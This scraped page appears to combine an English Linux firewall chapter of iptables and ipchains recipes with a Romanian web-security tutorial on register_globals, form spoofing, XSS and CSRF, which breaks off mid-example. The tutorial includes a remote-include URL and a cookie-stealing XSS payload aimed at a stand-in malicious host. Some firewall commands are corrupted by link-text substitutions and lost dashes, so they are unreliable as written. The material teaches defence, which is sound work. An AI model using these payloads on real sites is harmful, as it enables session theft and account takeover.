explained in the IPCHAINS-HOWTO at http://www.linux.org/docs/ldp/howto/IPCHAINS-HOWTO-5.html#ss5.7. Blocking Spoofed Addresses 2.2.1 Problem You want to prevent remote hosts from pretending to be local to your network. 2.2.2 Solution For a single machine, to prevent remote hosts from pretending to be that machine, use the following: For iptables: # iptables -A INPUT -i external_interface -s your_IP_address -j REJECT For ipchains: # ipchains -A input -i external_interface -s your_IP_address -j REJECT If you have a Linux machine acting as a firewall for your internal network (say, 192.168.0.*) with two network interfaces, one internal and one external, and you want to prevent remote machines from spoofing internal IP addresses to the external interface, use the following: For iptables: # iptables -A INPUT -i external_interface -s 192.168.0.0/24 -j REJECT Drop Versus Reject The Linux firewall can refuse packets in two manners. iptables calls them DROP and REJECT, while ipchains uses the terminology DENY and REJECT. DROP (or DENY) simply swallows the packet, never to be seen again, and emits no response. REJECT, in contrast, responds to the packet with a friendly message back to the sender, something like "Hello, I have rejected your packet." DROP and REJECT have pros and cons. In general, REJECT is more compliant with standards: hosts are supposed to send rejection notices. Used within your network, rejects make things easier to debug if problems occur. DROP gives a bit more security, but it's hard to say how much, and it increases the risk of other network-related problems for you. A DROP policy makes it appear to peers that your host is turned off or temporarily unreachable due to network problems. Attempts to connect to TCP services will take a long time to fail, as clients will receive no explicit rejection (TCP "reset" message), and will keep trying to connect. This may have unexpected consequences beyond the blocking the service. For example, some services automatically attempt to use the IDENT protocol (RFC 1413) to identify their clients. If you DROP incoming IDENT connections, some of your outgoing protocol sessions may be mysteriously slow to start up, as the remote server times out attempting to identify you. On the other hand, REJECT can leave you open to denial of service attacks, with you as the unwitting patsy. Suppose a Hostile Third Party sends you packets with a forged source address from a victim site, V. In response, you reject the packets, returning them not to the Hostile Third Party, but to victim V, owner of the source address. Voilà?you are unintentionally flooding V with rejections. If you're a large site with hundreds or thousands of hosts, you might choose DROP to prevent them from being abused in such a manner. But if you're a home user, you're probably less likely to be targeted for this sort of attack, and perhaps REJECT is fine. To further complicate matters, the Linux kernel has features like ICMP rate-limiting that mitigate some of these concerns. We'll avoid religious arguments and simply say, "Choose the solution best for your situation." In this chapter, we stick with REJECT for simplicity, but you may feel free to tailor the recipes more to your liking with DROP or DENY. Also note that iptables supports a variety of rejection messages: "Hello, my port is unreachable," "Bummer, that network is not accessible," "Sorry I'm not here right now, but leave a message at the beep," and so forth. (OK, we're kidding about one of those.) See the ?reject-with option. For ipchains: # ipchains -A input -i external_interface -s 192.168.0.0/24 -j REJECT 2.2.3 Discussion For a single machine, simply enable source address verification in the kernel. [Recipe 2.1] 2.2.4 See Also iptables(8), ipchains(8). Blocking All Network Traffic 2.3.1 Problem You want to block all network traffic by firewall. 2.3.2 Solution For iptables: # iptables -F # iptables -A INPUT -j REJECT # iptables -A OUTPUT -j REJECT # iptables -A FORWARD -j REJECT For ipchains: # ipchains -F # ipchains -A input -j REJECT # ipchains -A output -j REJECT # ipchains -A forward -j REJECT 2.3.3 Discussion You could also stop your network device altogether with ifconfig [Recipe 3.2] or even unplug your network cable. It all depends on what level of control you need. The target REJECT sends an error packet in response to the incoming packet. You can tailor iptables's error packet using the option ?reject-with. Alternatively, you can specify the targets DROP (iptables) and DENY (ipchains) that simply absorb the packet and produce no response. See Drop Versus Reject. 2.3.4 See Also iptables(8), ipchains(8). Rules in a chain are evaluated in sequential order. Blocking Incoming Traffic 2.4.1 Problem You want to block all incoming network traffic, except from your system itself. Do not affect outgoing traffic. 2.4.2 Solution For iptables: # iptables -F INPUT # iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT # iptables -A INPUT -j REJECT For ipchains: # ipchains -F input # ipchains -A input -i lo -j ACCEPT # ipchains -A input -p tcp --syn -j REJECT # ipchains -A input -p udp --dport 0:1023 -j REJECT 2.4.3 Discussion The iptables recipe takes advantage of statefulness, permitting incoming packets only if they are part of established outgoing connections. All other incoming packets are rejected. The ipchains recipe accepts all packets from yourself. The source can be either your actual IP address or the loopback address, 127.0.0.1; in either case, the traffic is delivered via the loopback interface, lo. We then reject TCP packets that initiate connections (?syn) and all UDP packets on privileged ports. This recipe has a disadvantage, however, which is that you have to list the UDP port numbers. If you run other UDP services on nonprivileged ports (1024 and up), you'll have to modify the port list. But even so there's a catch: some outgoing services allocate a randomly numbered, nonprivileged port for return packets, and you don't want to block it. Don't simply drop all input packets, e.g.: # ipchains -F input # ipchains -A input -j REJECT as this will block responses returning from your legitimate outgoing connections. iptables also supports the ?syn flag to process TCP packets: # iptables -A INPUT -p tcp --syn -j REJECT As with ipchains, this rule blocks TCP/IP packets used to initiate connections. They have their SYN bit set but the ACK and FIN bits unset. If you block all incoming traffic, you will block ICMP messages required by Internet standards (RFCs); see http://rfc.net/rfc792.html and ICMP Packet Filtering v1.2. 2.4.4 See Also iptables(8), ipchains(8). Blocking Outgoing Traffic 2.5.1 Problem Drop all outgoing network traffic. If possible, do not affect incoming traffic. 2.5.2 Solution For iptables: # iptables -F OUTPUT # iptables -A OUTPUT -m state --state ESTABLISHED -j ACCEPT # iptables -A OUTPUT -j REJECT For ipchains: # ipchains -F output # ipchains -A output -p tcp ! --syn -j ACCEPT # ipchains -A output -j REJECT Depending on your shell, you might need to escape the exclamation point. 2.5.3 Discussion This recipe takes advantage of iptables's statefulness. iptables can tell the difference between outgoing traffic initiated from the local machine and outgoing traffic in response to established incoming connections. The latter is permitted, but the former is not. ipchains is stateless but can recognize (and reject) packets with the SYN bit set and the ACK and FIN bits cleared, thereby permitting established and incoming TCP connections to function. However, this technique is insufficient for UDP exchanges: you really need a stateful firewall for that. 2.5.4 See Also iptables(8), ipchains(8). Blocking Incoming Service Requests 2.6.1 Problem You want to block connections to a particular network service, for example, HTTP. 2.6.2 Solution To block all incoming HTTP traffic: For iptables: # iptables -A INPUT -p tcp --dport www -j REJECT For ipchains: # ipchains -A input -p tcp --dport www -j REJECT To block incoming HTTP traffic but permit local HTTP traffic: For iptables: # iptables -A INPUT -p tcp -i lo --dport www -j ACCEPT # iptables -A INPUT -p tcp --dport www -j REJECT For ipchains: # ipchains -A input -p tcp -i lo --dport www -j ACCEPT # ipchains -A input -p tcp --dport www -j REJECT 2.6.3 Discussion You can also block access at other levels such as TCP-wrappers. [Recipe 3.9][Recipe 3.11] 2.6.4 See Also iptables(8), ipchains(8). Blocking Access from a Remote Host 2.7.1 Problem You want to block incoming traffic from a particular host. 2.7.2 Solution To block all access by that host: For iptables: # iptables -A INPUT -s remote_IP_address -j REJECT For ipchains: # ipchains -A input -s remote_IP_address -j REJECT To block requests for one particular service, say, the SMTP mail service: For iptables: # iptables -A INPUT -p tcp -s remote_IP_address --dport smtp -j REJECT For ipchains: # ipchains -A input -p tcp -s remote_IP_address --dport smtp -j REJECT To admit some hosts but block all others: For iptables : # iptables -A INPUT -s IP_address_1 [-p protocol --dport service] -j ACCEPT # iptables -A INPUT -s IP_address_2 [-p protocol --dport service] -j ACCEPT # iptables -A INPUT -s IP_address_3 [-p protocol --dport service] -j ACCEPT # iptables -A INPUT [-p protocol --dport service] -j REJECT For ipchains: # ipchains -A input -s IP_address_1 [-p protocol --dport service] -j ACCEPT # ipchains -A input -s IP_address_2 [-p protocol --dport service] -j ACCEPT # ipchains -A input -s IP_address_3 [-p protocol --dport service] -j ACCEPT # ipchains -A input [-p protocol --dport service] -j REJECT 2.7.3 Discussion You can also block access at other levels such as TCP-wrappers. [Recipe 3.9][Recipe 3.11] 2.7.4 See Also iptables(8), ipchains(8). Blocking Access to a Remote Host 2.8.1 Problem You want to block outgoing traffic to a particular host. 2.8.2 Solution To block all access: For iptables: # iptables -A OUTPUT -d remote_IP_address -j REJECT For ipchains: # ipchains -A output -d remote_IP_address -j REJECT To block a particular service, such as a remote web site: For iptables: # iptables -A OUTPUT -p tcp -d remote_IP_address --dport www -j REJECT For ipchains: # ipchains -A output -p tcp -d remote_IP_address --dport www -j REJECT 2.8.3 Discussion Perhaps you've discovered that a particular web site has malicious content on it, such as a trojan horse. This recipe will prevent all of your users from accessing that site. (We don't consider "redirector" web sites, such as Hide IP and Anonymous Web Browsing Software — Anonymizer, which would get around this restriction.) 2.8.4 See Also iptables(8), ipchains(8). Blocking Outgoing Access to All Web Servers on a Network 2.9.1 Problem You want to prevent outgoing access to a network, e.g., all web servers at yahoo.com. 2.9.2 Solution Figure out how to specify the yahoo.com network, e.g., 64.58.76.0/24, and reject web access: For iptables: # iptables -A OUTPUT -p tcp -d 64.58.76.0/24 --dport www -j REJECT For ipchains: # ipchains -A output -p tcp -d 64.58.76.0/24 --dport www -j REJECT 2.9.3 Discussion Here the network is specified using Classless InterDomain Routing (CIDR) mask format, a.b.c.d/N, where N is the number of bits in the netmask. In this case, N=24, so the first 24 bits are the network portion of the address. 2.9.4 See Also iptables(8), ipchains(8). You can supply hostnames instead of IP addresses in your firewall rules. If DNS reports multiple IP addresses for that hostname, a separate rule will be created for each IP address. For example, Yahoo! România has (at this writing) 11 IP addresses: $ host Yahoo! România Yahoo! România is an alias for akadns.net. akadns.net has address 216.109.125.68 akadns.net has address 64.58.76.227 ... So you could block access to Yahoo, for example, and view the results by: iptables: # iptables -A OUTPUT -d Yahoo! România -j REJECT # iptables -L OUTPUT ipchains: # ipchains -A output -d Yahoo! România -j REJECT # ipchains -L output Security experts recommend that you use only IP addresses in your rules, not hostnames, since an attacker could poison your DNS and circumvent rules defined for hostnames. However, the hostnames are relevant only at the moment you run iptables or ipchains to define a rule, as the program looks up the underlying IP addresses immediately and stores them in the rule. So you could conceivably use hostnames for convenience when defining your rules, then check the results (via the output of iptables-save or ipchains-save [Recipe 2.19]) to confirm the IP addresses. Blocking Remote Access, but Permitting Local 2.10.1 Problem You want only local users to access a TCP service; remote requests should be denied. 2.10.2 Solution Permit connections via the loopback interface and reject all others. For iptables : # iptables -A INPUT -p tcp -i lo --dport service -j ACCEPT # iptables -A INPUT -p tcp --dport service -j REJECT For ipchains: # ipchains -A input -p tcp -i lo --dport service -j ACCEPT # ipchains -A input -p tcp --dport service -j REJECT Alternatively, you can single out your local IP address specifically: For iptables: # iptables -A INPUT -p tcp ! -s your_IP_address --dport service -j REJECT For ipchains: # ipchains -A input -p tcp ! -s your_IP_address --dport service -j REJECT Depending on your shell, you might need to escape the exclamation point. 2.10.3 Discussion The local IP address can be a network specification, of course, such as a.b.c.d/N. You can permit an unrelated set of machines to access the service but reject everyone else, like so: For iptables: # iptables -A INPUT -p tcp -s IP_address_1 --dport service -j ACCEPT # iptables -A INPUT -p tcp -s IP_address_2 --dport service -j ACCEPT # iptables -A INPUT -p tcp -s IP_address_3 --dport service -j ACCEPT # iptables -P INPUT -j REJECT For ipchains: # ipchains -A input -p tcp -s IP_address_1 --dport service -j ACCEPT # ipchains -A input -p tcp -s IP_address_2 --dport service -j ACCEPT # ipchains -A input -p tcp -s IP_address_3 --dport service -j ACCEPT # ipchains -P input -j REJECT 2.10.4 See Also iptables(8), ipchains(8). Chapter 3 covers diverse, non-firewall approaches to block incoming service requests. Controlling Access by MAC Address 2.11.1 Problem You want only a particular machine, identified by its MAC address, to access your system. 2.11.2 Solution # iptables -F INPUT # iptables -A INPUT -i lo -j ACCEPT # iptables -A INPUT -m mac --mac-source 12:34:56:89:90:ab -j ACCEPT # iptables -A INPUT -j REJECT ipchains does not support this feature. 2.11.3 Discussion This technique works only within your local subnet. If you receive a packets from a machine outside your subnet, it will contain your gateway's MAC address, not that of the original source machine. MAC addresses can be spoofed. Suppose you have a machine called mackie whose MAC address is trusted by your firewall. If an intruder discovers this fact, and mackie is down, the intruder could spoof mackie's MAC address and your firewall would be none the wiser. On the other hand, if mackie is up during the spoofing, its kernel will start screaming (via syslog) about duplicate MAC addresses. Note that our recipe permits local connections from your own host; these arrive via the loopback interface. 2.11.4 See Also iptables(8), ipchains(8). Permitting SSH Access Only 2.12.1 Problem You want to permit incoming SSH access but no other incoming access. Allow local connections to all services, however. 2.12.2 Solution For iptables: # iptables -F INPUT # iptables -A INPUT -p tcp --dport ssh -j ACCEPT # iptables -A INPUT -i lo -j ACCEPT # iptables -A INPUT -j REJECT For ipchains: # ipchains -F input # ipchains -A input -p tcp --dport ssh -j ACCEPT # ipchains -A input -i lo -j ACCEPT # ipchains -A input -j REJECT 2.12.3 Discussion A common setup is to permit access to a remote machine only by SSH. If you want this access limited to certain hosts or networks, list them by IP address as follows: For iptables : # iptables -A INPUT -p tcp -s 128.220.13.4 --dport ssh -j ACCEPT # iptables -A INPUT -p tcp -s 71.54.121.19 --dport ssh -j ACCEPT # iptables -A INPUT -p tcp -s 152.16.91.0/24 --dport ssh -j ACCEPT # iptables -A INPUT -j REJECT For ipchains: # ipchains -A input -p tcp -s 128.220.13.4 --dport ssh -j ACCEPT # ipchains -A input -p tcp -s 71.54.121.19 --dport ssh -j ACCEPT # ipchains -A input -p tcp -s 152.16.91.0/24 --dport ssh -j ACCEPT # ipchains -A input -j REJECT The REJECT rule in the preceding iptables and ipchains examples prevents all other incoming connections. If you want to prevent only SSH connections (from nonapproved hosts), use this REJECT rule instead: For iptables: # iptables -A INPUT -p tcp --dport ssh -j REJECT For ipchains: # ipchains -A input -p tcp --dport ssh -j REJECT Alternatively you can use TCP-wrappers. [Recipe 3.9] [Recipe 3.11] [Recipe 3.13] 2.12.4 See Also iptables(8), ipchains(8), ssh(1). Prohibiting Outgoing Telnet Connections 2.13.1 Problem You want to block outgoing Telnet connections. 2.13.2 Solution To block all outgoing Telnet connections: For iptables: # iptables -A OUTPUT -p tcp --dport telnet -j REJECT For ipchains: # ipchains -A output -p tcp --dport telnet -j REJECT To block all outgoing Telnet connections except to yourself from yourself: For iptables: # iptables -A OUTPUT -p tcp -o lo --dport telnet -j ACCEPT # iptables -A OUTPUT -p tcp --dport telnet -j REJECT For ipchains: # ipchains -A output -p tcp -i lo --dport telnet -j ACCEPT # ipchains -A output -p tcp --dport telnet -j REJECT 2.13.3 Discussion Telnet is notoriously insecure in its most common form, which transmits your login name and password in plaintext over the network. This recipe is a sneaky way to encourage your users to find a more secure alternative, such as ssh. (Unless your users are running Telnet in a secure fashion with Kerberos authentication. [Recipe 4.15]) 2.13.4 See Also iptables(8), ipchains(8), telnet(1). Protecting a Dedicated Server 2.14.1 Problem You want to run a specific set of services on your machine, accessible to the outside world. All other services should be rejected and logged. Internally, however, local users can access all services. 2.14.2 Solution Suppose your services are www, ssh, and smtp. For iptables : # iptables -F INPUT # iptables -A INPUT -i lo -j ACCEPT # iptables -A INPUT -m multiport -p tcp --dport www,ssh,smtp -j ACCEPT # iptables -A INPUT -j LOG -m limit # iptables -A INPUT -j REJECT For ipchains: # ipchains -F input # ipchains -A input -i lo -j ACCEPT # ipchains -A input -p tcp --dport www -j ACCEPT # ipchains -A input -p tcp --dport ssh -j ACCEPT # ipchains -A input -p tcp --dport smtp -j ACCEPT # ipchains -A input -l -j REJECT 2.14.3 Discussion Local connections from your own host arrive via the loopback interface. 2.14.4 See Also iptables(8), ipchains(8). Preventing pings 2.15.1 Problem You don't want remote sites to receive responses if they ping you. 2.15.2 Solution For iptables : # iptables -A INPUT -p icmp --icmp-type echo-request -j DROP For ipchains: # ipchains -A input -p icmp --icmp-type echo-request -j DENY 2.15.3 Discussion In this case, we use DROP and DENY instead of REJECT. If you're trying to hide from pings, then replying with a rejection kind of defeats the purpose, eh? Don't make the mistake of dropping all ICMP messages, e.g.: WRONG!! DON'T DO THIS! # iptables -A INPUT -p icmp -j DROP because pings are only one type of ICMP message, and you might not want to block all types. That being said, you might want to block some others, like redirects and source quench. List the available ICMP messages with: $ iptables -p icmp -h $ ipchains -h icmp 2.15.4 See Also iptables(8), ipchains(8). The history of ping, by its author, is at The Story of the PING Program. Listing Your Firewall Rules 2.16.1 Problem You want to see your firewall rules. 2.16.2 Solution For iptables: # iptables -L [chain] For ipchains: # ipchains -L [chain] For more detailed output, append the -v option. If iptables takes a long time to print the rule list, try appending the -n option to disable reverse DNS lookups. Such lookups of local addresses, such as 192.168.0.2, may cause delays due to timeouts. 2.16.3 Discussion An iptables rule like: # iptables -A mychain -p tcp -s 1.2.3.4 -d 5.6.7.8 --dport smtp -j chain2 has a listing like: Chain mychain (3 references) target prot opt source destination chain2 tcp -- 1.2.3.4 5.6.7.8 tcp dpt:smtp which is basically a repeat of what you specified: any SMTP packets from IP address 1.2.3.4 to 5.6.7.8 should be forwarded to target chain2. Here's a similar ipchains rule that adds logging: # ipchains -A mychain -p tcp -s 1.2.3.4 -d 5.6.7.8 --dport smtp -l -j chain2 Its listing looks like: Chain mychain (3 references): target prot opt source destination ports chain2 tcp ----l- 1.2.3.4 5.6.7.8 any -> smtp A detailed listing (-L -v) adds packet and byte counts and more: Chain mychain (3 references): pkts bytes target prot opt tosa tosx ifname source destination ports 15 2640 chain2 tcp ----l- 0xFF 0x00 any 1.2.3.4 5.6.7.8 any -> smtp Another way to view your rules is in the output of iptables-save or ipchains-save [Recipe 2.19], but this more concise format is not as readable. It's meant only to be processed by iptables-restore or ipchains-restore, respectively: # ipchains-save ... Saving 'mychain'. -A foo -s 1.2.3.4/255.255.255.255 -d 5.6.7.8/255.255.255.255 25:25 -p 6 -j chain2 -l 2.16.4 See Also iptables(8), ipchains(8). Deleting Firewall Rules 2.17.1 Problem You want to delete firewall rules, individually or all at once. 2.17.2 Solution To delete rules en masse, also called flushing a chain, do the following: For iptables: # iptables -F [chain] For ipchains: # ipchains -F [chain] To delete rules individually: For iptables: # iptables -D chain rule_number For ipchains: # ipchains -D chain rule_number 2.17.3 Discussion Rules are numbered beginning with 1. To list the rules: # iptables -L # ipchains -L select one to delete (say, rule 4 on the input chain), and type: # iptables -D INPUT 4 # ipchains -D input 4 If you've previously saved your rules and want your deletions to remain in effect after the next reboot, re-save the new configuration. [Recipe 2.19] 2.17.4 See Also iptables(8), ipchains(8). Inserting Firewall Rules 2.18.1 Problem Rather than appending a rule to a chain, you want to insert or replace one elsewhere in the chain. 2.18.2 Solution Instead of the -A option, use -I to insert or -R to replace. You'll need to know the numeric position, within the existing rules, of the new rule. For instance, to insert a new rule in the fourth position in the chain: # iptables -I chain 4 ...specification... # ipchains -I chain 4 ...specification... To replace the second rule in a chain: # iptables -R chain 2 ...specification... # ipchains -R chain 2 ...specification... 2.18.3 Discussion When you insert a rule at position N in a chain, the old rule N becomes rule N+1, rule N+1 becomes rule N+2, and so on. To see the rules in a chain in order, so you can determine the right numeric offset, list the chain with -L. [Recipe 2.16] 2.18.4 See Also iptables(8), ipchains(8). Saving a Firewall Configuration 2.19.1 Problem You want to save your firewall configuration. 2.19.2 Solution Save your settings: For iptables : # iptables-save > /etc/sysconfig/iptables For ipchains: # ipchains-save > /etc/sysconfig/ipchains The destination filename is up to you, but some Linux distributions (notably Red Hat) refer to the files we used, inside their associated /etc/init.d scripts. 2.19.3 Discussion ipchains-save and iptables-save print your firewall rules in a text format, readable by ipchains-restore and iptables-restore, respectively. [Recipe 2.20] Our recipes using iptables-save, iptables-restore, ipchains-save, and ipchains-restore will work for both Red Hat and SuSE. However, SuSE by default takes a different approach. Instead of saving and restoring rules, SuSE builds rules from variables set in /etc/sysconfig/SuSEfirewall2. 2.19.4 See Also iptables-save(8), ipchains-save(8), iptables(8), ipchains(8). Loading a Firewall Configuration 2.20.1 Problem You want to load your firewall rules, e.g., at boot time. 2.20.2 Solution Use ipchains-restore or iptables-restore. Assuming you've saved your firewall configuration in /etc/sysconfig: [Recipe 2.19] For iptables: #!/bin/sh echo 1 > /proc/sys/net/ipv4/ip_forward (optional) iptables-restore < /etc/sysconfig/iptables For ipchains: #!/bin/sh echo 1 > /proc/sys/net/ipv4/ip_forward (optional) ipchains-restore < /etc/sysconfig/ipchains To tell Red Hat Linux that firewall rules should be loaded at boot time: # chkconfig iptables on # chkconfig ipchains on 2.20.3 Discussion Place the load commands in one of your system rc files. Red Hat Linux already has rc files "iptables" and "ipchains" in /etc/init.d that you can simply enable using chkconfig. SuSE Linux, in contrast, has a script /sbin/SuSEpersonal-firewall that invokes iptables or ipchains rules, and it's optionally started by /etc/init.d/personal-firewall.initial and /etc/init.d/personal-firewall.final at boot time. To roll your own solution, you can write a script like the following and invoke it from an rc file of your choice: #!/bin/sh # Uncomment either iptables or ipchains PROGRAM=/usr/sbin/iptables #PROGRAM=/sbin/ipchains FIREWALL=`/bin/basename $PROGRAM` RULES_FILE=/etc/sysconfig/${FIREWALL} LOADER=${PROGRAM}-restore FORWARD_BIT=/proc/sys/net/ipv4/ip_forward if [ ! -f ${RULES_FILE} ] then echo "$0: Cannot find ${RULES_FILE}" 1>&2 exit 1 fi case "$1" in start) echo 1 > ${FORWARD_BIT} ${LOADER} < ${RULES_FILE} || exit 1 ;; stop) ${PROGRAM} -F # Flush all rules ${PROGRAM} -X # Delete user-defined chains echo 0 > ${FORWARD_BIT} ;; *) echo "Usage: $0 start|stop" 1>&2 exit 1 ;; esac Make sure you load your firewall rules for all appropriate runlevels where networking is enabled. On most systems this includes runlevels 2 (multiuser without NFS), 3 (full multiuser), and 5 (X11). Check /etc/inittab to confirm this, and use chkconfig to list the status of the networking service at each runlevel: $ chkconfig --list network network 0:off 1:off 2:on 3:on 4:on 5:on 6:off 2.20.4 See Also iptables-load(8), ipchains-load(8), iptables(8), ipchains(8). Testing a Firewall Configuration 2.21.1 Problem You want to create and test an ipchains configuration nondestructively, i.e., without affecting your active firewall. 2.21.2 Solution Using ipchains, create a chain for testing: # ipchains -N mytest Insert your rules into this test chain: # ipchains -A mytest ... # ipchains -A mytest .... Specify a test packet: SA=source_address SP=source_port DA=destination_address DP=destination_port P=protocol I=interface Simulate sending the packet through the test chain: # ipchains -v -C mytest -s $SA --sport $SP -d $DA --dport $DP -p $P -i $I At press time, iptables does not have a similar feature for testing packets against rules. iptables 1.2.6a has a -C option and provides this teaser: # iptables -v -C mytest -p $P -s $SA --sport $SP -d $DA --dport $DP -i $I iptables: Will be implemented real soon. I promise but the iptables FAQ (netfilter/iptables FAQ) indicates that the feature might never be implemented, since checking a single packet against a stateful firewall is meaningless: decisions can depend on previous packets. 2.21.3 Discussion This process constructs a packet with its interface, protocol, source, and destination. The response is either "accepted," "denied," or "passed through chain" for user-defined chains. With -v, you can watch each rule match or not. The mandatory parameters are: -C chain_name -s source_addr --sport source_port -d dest_addr --dport dest_port -p protocol -i interface_name For a more realistic test of your firewall, use nmap to probe it from a remote machine. [Recipe 9.13] 2.21.4 See Also ipchains(8). Building Complex Rule Trees 2.22.1 Problem You want to construct complex firewall behaviors, but you are getting lost in the complexity. 2.22.2 Solution Be modular: isolate behaviors into their own chains. Then connect the chains in the desired manner. For iptables: # iptables -N CHAIN1 # iptables -N CHAIN2 # iptables -N CHAIN3 # iptables -N CHAIN4 # iptables -N CHAIN5 Add your rules to each chain. Then connect the chains; for example: # iptables -A INPUT ...specification... -j CHAIN1 # iptables -A CHAIN1 ...specification... -j CHAIN2 # iptables -A CHAIN2 ...specification... -j CHAIN3 # iptables -A INPUT ...specification... -j CHAIN4 # iptables -A INPUT ...specification... -j CHAIN5 to create a rule structure as in Figure 2-1. For ipchains: # ipchains -N chain1 # ipchains -N chain2 # ipchains -N chain3 # ipchains -N chain4 # ipchains -N chain5 Add your rules to each chain. Then connect the chains, for example: # ipchains -A input ...specification... -j chain1 # ipchains -A chain1 ...specification... -j chain2 # ipchains -A chain2 ...specification... -j chain3 # ipchains -A input ...specification... -j chain4 # ipchains -A input ...specification... -j chain5 to create the same rule structure as in Figure 2-1. 2.22.3 Discussion Connecting chains is like modular programming with subroutines. The rule: # iptables -A CHAIN1 ...specification... -j CHAIN2 creates a jump point to CHAIN2 from this rule in CHAIN1, if the rule is satisfied. Once CHAIN2 has been traversed, control returns to the next rule in CHAIN1, similar to returning from a subroutine. 2.22.4 See Also iptables(8), ipchains(8). Logging Simplified 2.23.1 Problem You want your firewall to log and drop certain packets. 2.23.2 Solution For iptables, create a new rule chain that logs and drops in sequence: # iptables -N LOG_DROP # iptables -A LOG_DROP -j LOG --log-level warning --log-prefix "dropped" -m limit # iptables -A LOG_DROP -j DROP Then use it as a target in any relevant rules: # iptables ...specification... -j LOG_DROP For ipchains: # ipchains ...specification... -l -j DROP 2.23.3 Discussion iptables's LOG target causes the kernel to log packets that match your given specification. The ?log-level option sets the syslog level [Recipe 9.27] for these log messages and ?log-prefix adds an identifiable string to the log entries. The further options ?log-prefix, ?log-tcp-sequence, ?log-tcp-options, and ?log-ip-options affect the information written to the log; see iptables(8). LOG is usually combined with the limit module (-m limit) to limit the number of redundant log entries made per time period, to prevent flooding your logs. You can accept the defaults (3 per hour, in bursts of at most 5 entries) or tailor them with ?limit and ?limit-burst, respectively. ipchains has much simpler logging: just add the -l option to the relevant rules. 2.23.4 See Also iptables(8), ipchains(8). Sursa: eTutorials.org

Ce este securitatea WEB? Securitatea este o trasatura masurabila si nu definitorie a unei aplicatii web. Nu putem raspunde cu da si nu la o intrebare de tipul: Este o aplicatie web sigura ?. Intrebarea este subiectiva si un raspuns nu poate fi dat, fara a ne raporta la un efort (potential) de compromitere a aplicatiei. Eforturile de securizare a unei aplicatii (sau componente a acesteia) sunt (sau trebuie sa fie) direct proportionale cu valoarea informatiei (sau cu efortul potential de compromitere a acesteia); exemple: pentru aplicatii de tip social networking, informatiile legate de un cont sunt confidentiale, insa nu critice; in acest caz, nu se justifica implementari elaborate pentru securizarea acestora; pentru aplicatii web bancare (magazine online), informatiile legate de un cont pot fi critice, si trebuie protejate ca atare; Register Globals Register Globals este o optiune ce poate fi modificata in fisierul php.ini, si are urmatoarea semnificatie: daca register_globals are valoarea On, atunci pentru fiecare pereche (cheie ? valoare) trimisa printr-un formular (prin metoda GET sau POST), o variabila globala $cheie avand valoarea “valoare”, va fi disponibila. Fie urmatorul exemplu de cod: if ($authenticated) { echo "Critical Code"; } Observatii: in codul de mai sus, o portiune critica de cod se executa doar daca $authenticated are valoarea true daca optiunea register_globals este On si accesam script-ul astfel: script.php?authenticated=true, atunci codul critic se va executa, in mod ne-corespunzator si ne-sigur. Fie un alt exemplu: include "$path/includeFile.php"; Un acces de forma: script.php?path=evildomain.com, avand register_globals activat, va produce includerea fisierului evildomain.com/includeFile.php, care poate contine un script malitios (care sterge baza de date, de exemplu); Securitatea WEB – Form spoofing Fie urmatorul exemplu de formular HTML: <form action="script.php" method="POST"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> Formularul de mai sus permite unui utilizator sa selecteze dintr-o lista, o culoare posibila. Aparent, valorile valide trimise scriptului script.php, sunt limitate din interfata, la cele trei valori: red, green, blue. Fie insa urmatorul formular malitios, care poate fi trimis de catre oricine, scriptului nostru: <form action="script.php" method="POST"> <input type="text" name="color" /> <input type="submit" /> </form> Se observa cu usurinta ca, folosind acest formular, oricine poate trimite orice valoare, folosind numele color. HTTP Spoofing Putem extinde abordarea de mai sus, falsificand nu doar un formular, ci o cerere HTTP efectiva. Fie urmatorul script: var_dump($_GET); si urmatorul cod care trimite o cerere HTTP catre scriptul de mai sus: $http_response = ''; $fp = fsockopen('localhost', 80); fputs($fp, "GET /script.php?key1=value1&key2=value2 HTTP/1.1\r\n"); fputs($fp, "Host: localhost\r\n\r\n"); while (!feof($fp)) { $http_response .= fgets($fp, 128); } fclose($fp); echo nl2br(htmlentities($http_response)); Observatii: codul de mai sus deschide o conexiune la port-ul 80 al localhost, si trimite o cerere HTTP de tip GET, catre script.php; functia fputs scrie pe socket; functia fgets citeste cate 128 octeti de la socket, pana cand nici o informatie nu mai este disponibila; functia nl2br adauga ” ” de cate ori intalneste “n”; functia htmlentities transforma tag-urile HTML in caractere efective (utila pentru a putea afisa efectiv codul HTML, fara a fi interpretat de brower) Cross site scripting (XSS) Acest mecanism de compromitere a securitatii se bazeaza pe faptul ca, de multe ori, o aplicatie web publica informatii trimise de utilizatorii ei, fara a verifica continutul. Spre exemplu, o aplicatie care afiseaza mesajele utilizatorilor (spre exemplu un forum), poate primi urmatorul mesaj: <script> document.location = 'http://www.google.ro' </script> Efecte Compromiterea functionarii aplicatiei Trimiterea acestui mesaj pe un forum ne-protejat, ar produce ne-functionarea forumului. Orice utilizator care acceseaza pagina in care acest mesaj este publicat, va fi re-directionat catre ‘www.google.ro’. Compromiterea datelor utilizatorului – Varianta 1 Sa presupunem ca mesajul postat este urmatorul: <script> document.location = 'http://www.randomforum.ro' </script> Unde site-ul randomforum.ro este unul care seamana (dpdv al interfetei) cu site-ul compromis, si in care, utilizatorului i se afiseaza un mesaj de forma “sesiune expirata, va rugam sa va re-autentificati”, urmat de un formular care cere introducerea username-ului si parolei. Observatii: din cauza re-directarii, utilizatorul nu este constient ca nu se mai afla pe pagina forumului, ci pe o pagina malitioasa utilizatorul poate fi tentat sa se re-autentifice, expunandu-si astfel username-ul si parola catre site-ul malitios; Compromiterea datelor utilizatorului – Varianta 2 Sa presupunem ca autentificarea utilizatorului se bazeaza pe cookie-uri, si ca acestea retin informatii critice legate de utilizator. Atunci urmatorul mesaj: <script> document.location = 'http://www.randomforum.ro/mal.php?cookies=' + document.cookie </script> Va produce trimiterea cookie-ului asociat utilizatorului, catre scriptul de pe evilforum.ro. Observatii: pe langa implementarea defectuoasa a mecanismului de post-uri, aceasta varianta exploateaza si flexibilitatea browserului, care nu este intotdeauna avantajoasa. Cross Site Request Forgeries (CSRF) Spre deosebire de Cross Site Scripting (XSS), care exploateaza increderea pe care un utilizator o are intr-un website, Cross Site Request Forgeries (CSRF) functioneaza invers, speculand increderea pe care un website o are in utilizatorii sai. Fie urmatorul scenariu: Bob are un cont bancar, si este autentificat pe o aplicatie ce gestioneaza acest cont; aplicatia foloseste cookie-uri pentru a retine informatii despre utilizatori; Mallory are si el un cont bancar. De asemenea cunoaste faptul ca Bob este autentificat, si ii prezinta urmatorul link lui Bob: <a 